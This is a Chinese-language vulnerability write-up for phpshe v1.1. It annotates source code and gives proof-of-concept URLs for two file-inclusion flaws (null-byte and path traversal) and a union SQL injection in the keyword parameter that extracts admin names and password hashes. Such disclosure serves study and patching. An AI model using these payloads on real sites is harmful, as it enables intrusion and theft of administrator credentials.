phpshe v1.1 多处文件包含与SQL注射漏洞等

//common.php

if (get_magic_quotes_gpc()) {

        !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');

        !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');

}

else {

        !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');

        !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');

}

session_start();

!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');

!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

//首页文件



<?php

include('common.php');



$cache_category = cache::get('category');

$cache_category_arr = cache::get('category_arr');

$cache_class = cache::get('class');



$cache_ad = cache::get('ad');

$cache_link = cache::get('link');

$cache_page = cache::get('page');

$web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array();



$cart_num = pe_login('user') ? $db->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);



include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞

pe_result();

?>





//common 文件 第15行开始

url路由配置

$module = $mod = $act = 'index';

$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);

$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);

$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);



//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

//product.php文件



case 'list':

                $category_id = intval($id);

                $info = $db->pe_select('category', array('category_id'=>$category_id));

                //搜索

                $sqlwhere = " and `product_state` = 1";

                pe_lead('hook/category.hook.php');

                if ($category_id) {

                        $sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";

                }



                $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤

                if ($_g_orderby) {

                        $orderby = explode('_', $_g_orderby);

                        $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";

                }

                else {

                        $sqlwhere .= " order by `product_id` desc";

                }

                $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));

                //热卖排行

                $product_hotlist = product_hotlist();

                //当前路径

                $nowpath = category_path($category_id);



                $seo = pe_seo($info['category_name']);

                include(pe_tpl('product_list.html'));

                

                

//跟进selectall函数库



        public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())

        {

                //处理条件语句

                $sqlwhere = $this->_dowhere($where);

                return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);

        }

        

//exp 

product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

//order.php

case 'pay':

                $order_id = pe_dbhold($_g_id);

                $cache_payway = cache::get('payway');

                foreach($cache_payway as $k => $v) {

                        $cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

                        if ($k == 'bank') {

                                $cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

                        }

                }

                $order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

                !$order['order_id'] && pe_error('订单号错误...');

                if (isset($_p_pesubmit)) {

                        if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

                                $info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

                                foreach ($info_list as $v) {

                                        $order['order_name'] .= "{$v['product_name']};";                        

                                }

                                echo '正在为您连接支付网站，请稍后...';

                                include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

                        }//当一切准备好的时候就可以进行"鸡肋包含了"

                        else {

                                pe_error('支付错误...');

                        }

                }

                $seo = pe_seo('选择支付方式');

                include(pe_tpl('order_pay.html'));

        break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98